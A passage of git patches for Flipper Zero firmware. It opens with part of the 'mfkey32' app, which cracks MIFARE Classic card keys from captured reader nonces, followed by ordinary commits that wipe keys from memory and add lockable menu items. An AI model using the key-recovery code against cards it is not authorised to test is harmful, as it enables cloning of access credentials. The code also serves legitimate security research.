<< (i ^ 3)); + } + crypt_word_noret(&temp, uid_xor_nt1, 0); + crypt_word_noret(&temp, nr1_enc, 1); + if(ar1_enc == (crypt_word(&temp) ^ p64b)) { + found = true; + break; + } + } + return found; +} + +bool napi_mf_classic_nonces_check_presence() { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool nonces_present = storage_common_stat(storage, MF_CLASSIC_NONCE_PATH, NULL) == FSE_OK; + + furi_record_close(RECORD_STORAGE); + + return nonces_present; +} + +MfClassicNonceArray* napi_mf_classic_nonce_array_alloc( + MfClassicDict* system_dict, + bool system_dict_exists, + MfClassicDict* user_dict, + bool user_dict_exists, + ProgramState* const program_state) { + MfClassicNonceArray* nonce_array = malloc(sizeof(MfClassicNonceArray)); + MfClassicNonce* remaining_nonce_array_init = malloc(sizeof(MfClassicNonce) * 1); + nonce_array->remaining_nonce_array = remaining_nonce_array_init; + Storage* storage = furi_record_open(RECORD_STORAGE); + nonce_array->stream = buffered_file_stream_alloc(storage); + furi_record_close(RECORD_STORAGE); + + bool array_loaded = false; + do { + // https://github.com/flipperdevices/flipperzero-firmware/blob/5134f44c09d39344a8747655c0d59864bb574b96/applications/services/storage/filesystem_api_defines.h#L8-L22 + if(!buffered_file_stream_open( + nonce_array->stream, MF_CLASSIC_NONCE_PATH, FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(nonce_array->stream); + break; + } + + // Check for newline ending + if(!stream_eof(nonce_array->stream)) { + if(!stream_seek(nonce_array->stream, -1, StreamOffsetFromEnd)) break; + uint8_t last_char = 0; + if(stream_read(nonce_array->stream, &last_char, 1) != 1) break; + if(last_char != '\n') { + FURI_LOG_D(TAG, "Adding new line ending"); + if(stream_write_char(nonce_array->stream, '\n') != 1) break; + } + if(!stream_rewind(nonce_array->stream)) break; + } + + // Read total amount of nonces + FuriString* next_line; + next_line = furi_string_alloc(); + while(true) { + if(!stream_read_line(nonce_array->stream, next_line)) { + FURI_LOG_T(TAG, "No nonces left"); + break; + } + FURI_LOG_T( + TAG, + "Read line: %s, len: %zu", + furi_string_get_cstr(next_line), + furi_string_size(next_line)); + if(!furi_string_start_with_str(next_line, "Sec")) continue; + const char* next_line_cstr = furi_string_get_cstr(next_line); + MfClassicNonce res = {0}; + char token[20]; + int i = 0; + const char* ptr = next_line_cstr; + while(sscanf(ptr, "%s", token) == 1) { + switch(i) { + case 5: + sscanf(token, "%lx", &res.uid); + break; + case 7: + sscanf(token, "%lx", &res.nt0); + break; + case 9: + sscanf(token, "%lx", &res.nr0_enc); + break; + case 11: + sscanf(token, "%lx", &res.ar0_enc); + break; + case 13: + sscanf(token, "%lx", &res.nt1); + break; + case 15: + sscanf(token, "%lx", &res.nr1_enc); + break; + case 17: + sscanf(token, "%lx", &res.ar1_enc); + break; + default: + break; // Do nothing + } + i++; + ptr = strchr(ptr, ' '); + if(!ptr) { + break; + } + ptr++; + } + (program_state->total)++; + uint32_t p64b = prng_successor(res.nt1, 64); + if((system_dict_exists && + napi_key_already_found_for_nonce( + system_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc)) || + (user_dict_exists && + napi_key_already_found_for_nonce( + user_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc))) { + (program_state->cracked)++; + continue; + } + FURI_LOG_I(TAG, "No key found for %lx %lx", res.uid, res.ar1_enc); + // TODO: Refactor + nonce_array->remaining_nonce_array = realloc( + nonce_array->remaining_nonce_array, + sizeof(MfClassicNonce) * ((nonce_array->remaining_nonces) + 1)); + nonce_array->remaining_nonces++; + nonce_array->remaining_nonce_array[(nonce_array->remaining_nonces) - 1] = res; + nonce_array->total_nonces++; + } + furi_string_free(next_line); + stream_rewind(nonce_array->stream); + + array_loaded = true; + FURI_LOG_I(TAG, "Loaded %lu nonces", nonce_array->total_nonces); + } while(false); + + if(!array_loaded) { + buffered_file_stream_close(nonce_array->stream); + free(nonce_array); + nonce_array = NULL; + } + + return nonce_array; +} + +void napi_mf_classic_nonce_array_free(MfClassicNonceArray* nonce_array) { + furi_assert(nonce_array); + furi_assert(nonce_array->stream); + + buffered_file_stream_close(nonce_array->stream); + stream_free(nonce_array->stream); + free(nonce_array); +} + +static void finished_beep() { + // Beep to indicate completion if the speaker is available + if(furi_hal_speaker_acquire(1000)) { // Wait up to a second for the speaker + float freq = 3000; + float volume = 1.0f; // 100% volume + furi_hal_speaker_start(freq, volume); + furi_delay_ms(75); + furi_hal_speaker_stop(); + furi_hal_speaker_release(); + } +} + +void mfkey32(ProgramState* const program_state) { + uint64_t found_key; // recovered key + size_t keyarray_size = 0; + uint64_t* keyarray = malloc(sizeof(uint64_t) * 1); + uint32_t i = 0; + // Check for nonces + if(!napi_mf_classic_nonces_check_presence()) { + program_state->err = MissingNonces; + program_state->mfkey_state = Error; + return; + } + // Read dictionaries (optional) + MfClassicDict* system_dict = {0}; + bool system_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeSystem); + MfClassicDict* user_dict = {0}; + bool user_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeUser); + uint32_t total_dict_keys = 0; + if(system_dict_exists) { + system_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeSystem); + total_dict_keys += napi_mf_classic_dict_get_total_keys(system_dict); + } + user_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeUser); + if(user_dict_exists) { + total_dict_keys += napi_mf_classic_dict_get_total_keys(user_dict); + } + user_dict_exists = true; + program_state->dict_count = total_dict_keys; + program_state->mfkey_state = DictionaryAttack; + // Read nonces + MfClassicNonceArray* nonce_arr; + nonce_arr = napi_mf_classic_nonce_array_alloc( + system_dict, system_dict_exists, user_dict, user_dict_exists, program_state); + if(system_dict_exists) { + napi_mf_classic_dict_free(system_dict); + } + if(nonce_arr->total_nonces == 0) { + // Nothing to crack + program_state->err = ZeroNonces; + program_state->mfkey_state = Error; + napi_mf_classic_nonce_array_free(nonce_arr); + napi_mf_classic_dict_free(user_dict); + free(keyarray); + return; + } + if(memmgr_get_free_heap() < MIN_RAM) { + // Insufficient RAM + program_state->err = OutOfMemory; + program_state->mfkey_state = Error; + napi_mf_classic_nonce_array_free(nonce_arr); + napi_mf_classic_dict_free(user_dict); + free(keyarray); + return; + } + program_state->mfkey_state = MfkeyAttack; + for(i = 0; i < nonce_arr->total_nonces; i++) { + MfClassicNonce next_nonce = nonce_arr->remaining_nonce_array[i]; + uint32_t p64 = prng_successor(next_nonce.nt0, 64); + uint32_t p64b = prng_successor(next_nonce.nt1, 64); + if(key_already_found_for_nonce( + keyarray, + keyarray_size, + next_nonce.uid ^ next_nonce.nt1, + next_nonce.nr1_enc, + p64b, + next_nonce.ar1_enc)) { + nonce_arr->remaining_nonces--; + (program_state->cracked)++; + continue; + } + FURI_LOG_I(TAG, "Cracking %lx %lx", next_nonce.uid, next_nonce.ar1_enc); + struct Crypto1Params p = { + 0, + next_nonce.nr0_enc, + next_nonce.uid ^ next_nonce.nt0, + next_nonce.uid ^ next_nonce.nt1, + next_nonce.nr1_enc, + p64b, + next_nonce.ar1_enc}; + if(recover(&p, next_nonce.ar0_enc ^ p64, program_state) == 0) { + // No key found in recover() + continue; + } + found_key = p.key; + bool already_found = false; + for(i = 0; i < keyarray_size; i++) { + if(keyarray[i] == found_key) { + already_found = true; + break; + } + } + if(already_found == false) { + // New key + keyarray = realloc(keyarray, sizeof(uint64_t) * (keyarray_size + 1)); + keyarray_size += 1; + keyarray[keyarray_size - 1] = found_key; + (program_state->cracked)++; + (program_state->unique_cracked)++; + } + } + // TODO: Update display to show all keys were found + // TODO: Prepend found key(s) to user dictionary file + //FURI_LOG_I(TAG, "Unique keys found:"); + for(i = 0; i < keyarray_size; i++) { + //FURI_LOG_I(TAG, "%012" PRIx64, keyarray[i]); + FuriString* temp_key = furi_string_alloc(); + furi_string_cat_printf(temp_key, "%012" PRIX64, keyarray[i]); + napi_mf_classic_dict_add_key_str(user_dict, temp_key); + furi_string_free(temp_key); + } + napi_mf_classic_nonce_array_free(nonce_arr); + if(user_dict_exists) { + napi_mf_classic_dict_free(user_dict); + } + free(keyarray); + //FURI_LOG_I(TAG, "mfkey32 function completed normally"); // DEBUG + program_state->mfkey_state = Complete; + finished_beep(); + return; +} + +// Screen is 128x64 px +static void render_callback(Canvas* const canvas, void* ctx) { + furi_assert(ctx); + const ProgramState* program_state = ctx; + furi_mutex_acquire(program_state->mutex, FuriWaitForever); + char draw_str[32] = {}; + canvas_clear(canvas); + canvas_draw_frame(canvas, 0, 0, 128, 64); + canvas_draw_frame(canvas, 0, 15, 128, 64); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 5, 4, AlignLeft, AlignTop, "Mfkey32"); + canvas_draw_icon(canvas, 114, 4, &I_mfkey); + if(program_state->is_thread_running && program_state->mfkey_state == MfkeyAttack) { + float progress = (float)program_state->cracked / (float)program_state->total; + elements_progress_bar_with_text(canvas, 5, 18, 118, progress, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, + sizeof(draw_str), + "Keys found: %d/%d (in prog.)", + program_state->cracked, + program_state->total); + canvas_draw_str_aligned(canvas, 5, 31, AlignLeft, AlignTop, draw_str); + snprintf( + draw_str, sizeof(draw_str), "Search: %d/%d", program_state->search, 256 / MSB_LIMIT); + canvas_draw_str_aligned(canvas, 26, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->is_thread_running && program_state->mfkey_state == DictionaryAttack) { + elements_progress_bar_with_text(canvas, 5, 18, 118, 0, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, sizeof(draw_str), "Dict solves: %d (in progress)", program_state->cracked); + canvas_draw_str_aligned(canvas, 10, 31, AlignLeft, AlignTop, draw_str); + snprintf(draw_str, sizeof(draw_str), "Keys in dict: %d", program_state->dict_count); + canvas_draw_str_aligned(canvas, 26, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->mfkey_state == Complete) { + // TODO: Scrollable list view to see cracked keys if user presses down + elements_progress_bar_with_text(canvas, 5, 18, 118, 1, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf(draw_str, sizeof(draw_str), "Complete"); + canvas_draw_str_aligned(canvas, 40, 31, AlignLeft, AlignTop, draw_str); + snprintf( + draw_str, + sizeof(draw_str), + "Keys added to user dict: %d", + program_state->unique_cracked); + canvas_draw_str_aligned(canvas, 10, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->mfkey_state == Ready) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 50, 30, AlignLeft, AlignTop, "Ready"); + elements_button_center(canvas, "Start"); + elements_button_right(canvas, "Help"); + } else if(program_state->mfkey_state == Help) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 7, 20, AlignLeft, AlignTop, "Collect nonces using"); + canvas_draw_str_aligned(canvas, 7, 30, AlignLeft, AlignTop, "Detect Reader."); + canvas_draw_str_aligned(canvas, 7, 40, AlignLeft, AlignTop, "Developers: noproto, AG"); + canvas_draw_str_aligned(canvas, 7, 50, AlignLeft, AlignTop, "Thanks: bettse"); + } else if(program_state->mfkey_state == Error) { + canvas_draw_str_aligned(canvas, 50, 25, AlignLeft, AlignTop, "Error"); + canvas_set_font(canvas, FontSecondary); + if(program_state->err == MissingNonces) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces found"); + } else if(program_state->err == ZeroNonces) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces to crack"); + } else if(program_state->err == OutOfMemory) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "Insufficient memory"); + } else { + // Unhandled error + } + } else { + // Unhandled program state + } + furi_mutex_release(program_state->mutex); +} + +static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void mfkey32_state_init(ProgramState* const program_state) { + program_state->is_thread_running = false; + program_state->mfkey_state = Ready; + program_state->cracked = 0; + program_state->unique_cracked = 0; + program_state->total = 0; + program_state->dict_count = 0; +} + +// Entrypoint for worker thread +static int32_t mfkey32_worker_thread(void* ctx) { + ProgramState* program_state = ctx; + program_state->is_thread_running = true; + program_state->mfkey_state = Initializing; + //FURI_LOG_I(TAG, "Hello from the mfkey32 worker thread"); // DEBUG + mfkey32(program_state); + program_state->is_thread_running = false; + return 0; +} + +void start_mfkey32_thread(ProgramState* program_state) { + if(!program_state->is_thread_running) { + furi_thread_start(program_state->mfkeythread); + } +} + +int32_t mfkey32_main() { + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + + ProgramState* program_state = malloc(sizeof(ProgramState)); + + mfkey32_state_init(program_state); + + program_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); + if(!program_state->mutex) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(program_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, render_callback, program_state); + view_port_input_callback_set(view_port, input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + program_state->mfkeythread = furi_thread_alloc(); + furi_thread_set_name(program_state->mfkeythread, "Mfkey32 Worker"); + furi_thread_set_stack_size(program_state->mfkeythread, 2048); + furi_thread_set_context(program_state->mfkeythread, program_state); + furi_thread_set_callback(program_state->mfkeythread, mfkey32_worker_thread); + + PluginEvent event; + for(bool main_loop = true; main_loop;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + + furi_mutex_acquire(program_state->mutex, FuriWaitForever); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: + if(!program_state->is_thread_running && + program_state->mfkey_state == Ready) { + program_state->mfkey_state = Help; + view_port_update(view_port); + } + break; + case InputKeyLeft: + break; + case InputKeyOk: + if(!program_state->is_thread_running && + program_state->mfkey_state == Ready) { + start_mfkey32_thread(program_state); + view_port_update(view_port); + } + break; + case InputKeyBack: + if(!program_state->is_thread_running && + program_state->mfkey_state == Help) { + program_state->mfkey_state = Ready; + view_port_update(view_port); + } else { + program_state->close_thread_please = true; + if(program_state->is_thread_running && program_state->mfkeythread) { + // Wait until thread is finished + furi_thread_join(program_state->mfkeythread); + } + program_state->close_thread_please = false; + main_loop = false; + } + break; + default: + break; + } + } + } + } + + view_port_update(view_port); + furi_mutex_release(program_state->mutex); + } + + furi_thread_free(program_state->mfkeythread); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + furi_mutex_free(program_state->mutex); + free(program_state); + + return 0; +} From be8387afb53ca97bfb70900586272228edf8d6ea Mon Sep 17 00:00:00 2001 From: Hugo Grostabussiat Date: Sun, 5 Feb 2023 19:22:31 +0100 Subject: [PATCH 192/329] crypto: Erase key from RAM after storing into enclave When storing a new unique secret key in the secure enclave, it is temporarily stored in a stack buffer accessible by CPU1. Since it is a secret key, it should not be kept in memory as it could be leaked. This commit calls the explicit_bzero() function from the libc to ensure that the buffer containing the key is cleared. Unlike with bzero() and memset(), the compiler won't optimize away calls to explicit_bzero(). --- applications/services/crypto/crypto_cli.c | 1 + firmware/targets/f7/furi_hal/furi_hal_crypto.c | 3 +++ 2 files changed, 4 insertions(+) diff --git a/applications/services/crypto/crypto_cli.c b/applications/services/crypto/crypto_cli.c index 511a9d2a8..d91b448ec 100644 --- a/applications/services/crypto/crypto_cli.c +++ b/applications/services/crypto/crypto_cli.c @@ -276,6 +276,7 @@ void crypto_cli_store_key(Cli* cli, FuriString* args) { } } while(0); + explicit_bzero(data, sizeof(data)); furi_string_free(key_type); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_crypto.c b/firmware/targets/f7/furi_hal/furi_hal_crypto.c index e0ed3ab9b..0026636a4 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_crypto.c +++ b/firmware/targets/f7/furi_hal/furi_hal_crypto.c @@ -80,9 +80,11 @@ static bool furi_hal_crypto_generate_unique_keys(uint8_t start_slot, uint8_t end key.data = key_data; furi_hal_random_fill_buf(key_data, 32); if(!furi_hal_crypto_store_add_key(&key, &slot)) { + explicit_bzero(key_data, sizeof(key_data)); FURI_LOG_E(TAG, "Error writing key to slot %u", slot); return false; } + explicit_bzero(key_data, sizeof(key_data)); } return true; } @@ -176,6 +178,7 @@ bool furi_hal_crypto_store_add_key(FuriHalCryptoKey* key, uint8_t* slot) { memcpy(pParam.KeyData, key->data, key_data_size); SHCI_CmdStatus_t shci_state = SHCI_C2_FUS_StoreUsrKey(&pParam, slot); + explicit_bzero(&pParam, sizeof(pParam)); furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk); return (shci_state == SHCI_Success); } From cfecf5d5d6a6888412e4453695d00f200b05e028 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 20:12:20 +0000 Subject: [PATCH 193/329] Support locked items in varitemlist --- .../services/gui/modules/variable_item_list.c | 110 +++++++++++++++--- .../services/gui/modules/variable_item_list.h | 8 ++ firmware/targets/f7/api_symbols.csv | 1 + 3 files changed, 101 insertions(+), 18 deletions(-) diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index a8f5e693a..c01fa2336 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -11,6 +12,8 @@ struct VariableItem { FuriString* current_value_text; uint8_t values_count; VariableItemChangeCallback change_callback; + bool locked; + FuriString* locked_message; void* context; }; @@ -21,6 +24,7 @@ struct VariableItemList { VariableItemListEnterCallback callback; void* context; FuriTimer* scroll_timer; + FuriTimer* locked_timer; }; typedef struct { @@ -28,6 +32,7 @@ typedef struct { uint8_t position; uint8_t window_position; size_t scroll_counter; + bool locked_message_visible; } VariableItemListModel; static void variable_item_list_process_up(VariableItemList* variable_item_list); @@ -76,22 +81,26 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str(canvas, 6, item_text_y, item->label); - if(item->current_value_index > 0) { - canvas_draw_str(canvas, 73, item_text_y, "<"); - } + if(item->locked) { + canvas_draw_icon(canvas, 110, item_text_y - 8, &I_Lock_7x8); + } else { + if(item->current_value_index > 0) { + canvas_draw_str(canvas, 73, item_text_y, "<"); + } - elements_scrollable_text_line( - canvas, - (115 + 73) / 2 + 1, - item_text_y, - 37, - item->current_value_text, - scroll_counter, - false, - true); + elements_scrollable_text_line( + canvas, + (115 + 73) / 2 + 1, + item_text_y, + 37, + item->current_value_text, + scroll_counter, + false, + true); - if(item->current_value_index < (item->values_count - 1)) { - canvas_draw_str(canvas, 115, item_text_y, ">"); + if(item->current_value_index < (item->values_count - 1)) { + canvas_draw_str(canvas, 115, item_text_y, ">"); + } } } @@ -99,6 +108,23 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { } elements_scrollbar(canvas, model->position, VariableItemArray_size(model->items)); + + if(model->locked_message_visible) { + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 8, 10, 110, 48); + canvas_set_color(canvas, ColorBlack); + canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); + canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); + canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); + elements_multiline_text_aligned( + canvas, + 84, + 32, + AlignCenter, + AlignCenter, + furi_string_get_cstr( + VariableItemArray_get(model->items, model->position)->locked_message)); + } } void variable_item_list_set_selected_item(VariableItemList* variable_item_list, uint8_t index) { @@ -196,6 +222,9 @@ void variable_item_list_process_up(VariableItemList* variable_item_list) { variable_item_list->view, VariableItemListModel * model, { + if(model->locked_message_visible) { + model->locked_message_visible = false; + } uint8_t items_on_screen = 4; if(model->position > 0) { model->position--; @@ -219,6 +248,9 @@ void variable_item_list_process_down(VariableItemList* variable_item_list) { variable_item_list->view, VariableItemListModel * model, { + if(model->locked_message_visible) { + model->locked_message_visible = false; + } uint8_t items_on_screen = 4; if(model->position < (VariableItemArray_size(model->items) - 1)) { model->position++; @@ -261,7 +293,12 @@ void variable_item_list_process_left(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(item->current_value_index > 0) { + if(model->locked_message_visible) { + model->locked_message_visible = false; + } else if(item->locked) { + model->locked_message_visible = true; + furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(item->current_value_index > 0) { item->current_value_index--; model->scroll_counter = 0; if(item->change_callback) { @@ -278,7 +315,12 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(item->current_value_index < (item->values_count - 1)) { + if(model->locked_message_visible) { + model->locked_message_visible = false; + } else if(item->locked) { + model->locked_message_visible = true; + furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(item->current_value_index < (item->values_count - 1)) { item->current_value_index++; model->scroll_counter = 0; if(item->change_callback) { @@ -290,15 +332,23 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { } void variable_item_list_process_ok(VariableItemList* variable_item_list) { + bool update = false; with_view_model( variable_item_list->view, VariableItemListModel * model, { - if(variable_item_list->callback) { + VariableItem* item = variable_item_list_get_selected_item(model); + if(model->locked_message_visible) { + model->locked_message_visible = false; + update = true; + } else if(item->locked) { + model->locked_message_visible = true; + furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); + } else if(variable_item_list->callback) { variable_item_list->callback(variable_item_list->context, model->position); } }, - false); + update); } static void variable_item_list_scroll_timer_callback(void* context) { @@ -307,6 +357,14 @@ static void variable_item_list_scroll_timer_callback(void* context) { variable_item_list->view, VariableItemListModel * model, { model->scroll_counter++; }, true); } +void variable_item_list_locked_timer_callback(void* context) { + furi_assert(context); + VariableItemList* variable_item_list = context; + + with_view_model( + variable_item_list->view, VariableItemListModel * model, { model->locked_message_visible = false; }, true); +} + VariableItemList* variable_item_list_alloc() { VariableItemList* variable_item_list = malloc(sizeof(VariableItemList)); variable_item_list->view = view_alloc(); @@ -316,6 +374,8 @@ VariableItemList* variable_item_list_alloc() { view_set_draw_callback(variable_item_list->view, variable_item_list_draw_callback); view_set_input_callback(variable_item_list->view, variable_item_list_input_callback); + variable_item_list->locked_timer = furi_timer_alloc(variable_item_list_locked_timer_callback, FuriTimerTypeOnce, variable_item_list); + with_view_model( variable_item_list->view, VariableItemListModel * model, @@ -344,12 +404,15 @@ void variable_item_list_free(VariableItemList* variable_item_list) { for(VariableItemArray_it(it, model->items); !VariableItemArray_end_p(it); VariableItemArray_next(it)) { furi_string_free(VariableItemArray_ref(it)->current_value_text); + furi_string_free(VariableItemArray_ref(it)->locked_message); } VariableItemArray_clear(model->items); }, false); furi_timer_stop(variable_item_list->scroll_timer); furi_timer_free(variable_item_list->scroll_timer); + furi_timer_stop(variable_item_list->locked_timer); + furi_timer_free(variable_item_list->locked_timer); view_free(variable_item_list->view); free(variable_item_list); } @@ -365,6 +428,7 @@ void variable_item_list_reset(VariableItemList* variable_item_list) { for(VariableItemArray_it(it, model->items); !VariableItemArray_end_p(it); VariableItemArray_next(it)) { furi_string_free(VariableItemArray_ref(it)->current_value_text); + furi_string_free(VariableItemArray_ref(it)->locked_message); } VariableItemArray_reset(model->items); }, @@ -397,6 +461,8 @@ VariableItem* variable_item_list_add( item->context = context; item->current_value_index = 0; item->current_value_text = furi_string_alloc(); + item->locked = false; + item->locked_message = furi_string_alloc(); }, true); @@ -431,6 +497,14 @@ void variable_item_set_current_value_text(VariableItem* item, const char* curren furi_string_set(item->current_value_text, current_value_text); } +void variable_item_set_locked(VariableItem* item, bool locked, const char* locked_message) { + item->locked = locked; + if(locked) { + furi_assert(locked_message); + furi_string_set(item->locked_message, locked_message); + } +} + uint8_t variable_item_get_current_value_index(VariableItem* item) { return item->current_value_index; } diff --git a/applications/services/gui/modules/variable_item_list.h b/applications/services/gui/modules/variable_item_list.h index db2a58993..db8b1788f 100644 --- a/applications/services/gui/modules/variable_item_list.h +++ b/applications/services/gui/modules/variable_item_list.h @@ -95,6 +95,14 @@ void variable_item_set_values_count(VariableItem* item, uint8_t values_count); */ void variable_item_set_current_value_text(VariableItem* item, const char* current_value_text); +/** Set item locked state and text + * + * @param item VariableItem* instance + * @param locked Is item locked boolean + * @param locked_message The locked message text + */ +void variable_item_set_locked(VariableItem* item, bool locked, const char* locked_message); + /** Get item current selected index * * @param item VariableItem* instance diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 304a895f2..13a6395f3 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -4643,6 +4643,7 @@ Function,+,variable_item_list_set_enter_callback,void,"VariableItemList*, Variab Function,+,variable_item_list_set_selected_item,void,"VariableItemList*, uint8_t" Function,+,variable_item_set_current_value_index,void,"VariableItem*, uint8_t" Function,+,variable_item_set_current_value_text,void,"VariableItem*, const char*" +Function,+,variable_item_set_locked,void,"VariableItem*, _Bool, const char*" Function,+,variable_item_set_values_count,void,"VariableItem*, uint8_t" Function,-,vasiprintf,int,"char**, const char*, __gnuc_va_list" Function,-,vasniprintf,char*,"char*, size_t*, const char*, __gnuc_va_list" From c02caa6a40206dc3c8387ff5b7aa33ebb4dace67 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 20:57:09 +0000 Subject: [PATCH 194/329] Add lockable capability to Submenu module --- applications/services/gui/modules/submenu.c | 83 ++++++++++++++++++++- applications/services/gui/modules/submenu.h | 4 +- 2 files changed, 82 insertions(+), 5 deletions(-) diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 31ca24581..34d5b5942 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -1,12 +1,14 @@ #include "submenu.h" #include +#include #include #include #include struct Submenu { View* view; + FuriTimer* locked_timer; }; typedef struct { @@ -14,6 +16,8 @@ typedef struct { uint32_t index; SubmenuItemCallback callback; void* callback_context; + bool locked; + FuriString* locked_message; } SubmenuItem; static void SubmenuItem_init(SubmenuItem* item) { @@ -21,6 +25,8 @@ static void SubmenuItem_init(SubmenuItem* item) { item->index = 0; item->callback = NULL; item->callback_context = NULL; + item->locked = false; + item->locked_message = furi_string_alloc(); } static void SubmenuItem_init_set(SubmenuItem* item, const SubmenuItem* src) { @@ -28,6 +34,8 @@ static void SubmenuItem_init_set(SubmenuItem* item, const SubmenuItem* src) { item->index = src->index; item->callback = src->callback; item->callback_context = src->callback_context; + item->locked = src->locked; + item->locked_message = furi_string_alloc_set(src->locked_message); } static void SubmenuItem_set(SubmenuItem* item, const SubmenuItem* src) { @@ -35,10 +43,13 @@ static void SubmenuItem_set(SubmenuItem* item, const SubmenuItem* src) { item->index = src->index; item->callback = src->callback; item->callback_context = src->callback_context; + item->locked = src->locked; + furi_string_set(item->locked_message, src->locked_message); } static void SubmenuItem_clear(SubmenuItem* item) { furi_string_free(item->label); + furi_string_free(item->locked_message); } ARRAY_DEF( @@ -54,6 +65,7 @@ typedef struct { FuriString* header; size_t position; size_t window_position; + bool locked_message_visible; } SubmenuModel; static void submenu_process_up(Submenu* submenu); @@ -102,9 +114,18 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { canvas_set_color(canvas, ColorBlack); } + if(SubmenuItemArray_cref(it)->locked) { + canvas_draw_icon( + canvas, + 110, + y_offset + (item_position * item_height) + item_height - 12, + &I_Lock_7x8); + } + FuriString* disp_str; disp_str = furi_string_alloc_set(SubmenuItemArray_cref(it)->label); - elements_string_fit_width(canvas, disp_str, item_width - 11); + elements_string_fit_width( + canvas, disp_str, item_width - (SubmenuItemArray_cref(it)->locked ? 25 : 11)); canvas_draw_str( canvas, @@ -119,6 +140,23 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { } elements_scrollbar(canvas, model->position, SubmenuItemArray_size(model->items)); + + if(model->locked_message_visible) { + canvas_set_font(canvas, FontSecondary); + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, 8, 10, 110, 48); + canvas_set_color(canvas, ColorBlack); + canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); + canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); + canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); + elements_multiline_text( + canvas, + 62, + 20, + furi_string_get_cstr( + SubmenuItemArray_get(model->items, model->position)->locked_message)); + canvas_set_font(canvas, FontKeyboard); + } } static bool submenu_view_input_callback(InputEvent* event, void* context) { @@ -126,7 +164,19 @@ static bool submenu_view_input_callback(InputEvent* event, void* context) { furi_assert(submenu); bool consumed = false; - if(event->type == InputTypeShort) { + bool locked_message_visible = false; + with_view_model( + submenu->view, + SubmenuModel * model, + { locked_message_visible = model->locked_message_visible; }, + false); + + if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && + locked_message_visible) { + with_view_model( + submenu->view, SubmenuModel * model, { model->locked_message_visible = false; }, true); + consumed = true; + } else if(event->type == InputTypeShort) { switch(event->key) { case InputKeyUp: consumed = true; @@ -156,6 +206,14 @@ static bool 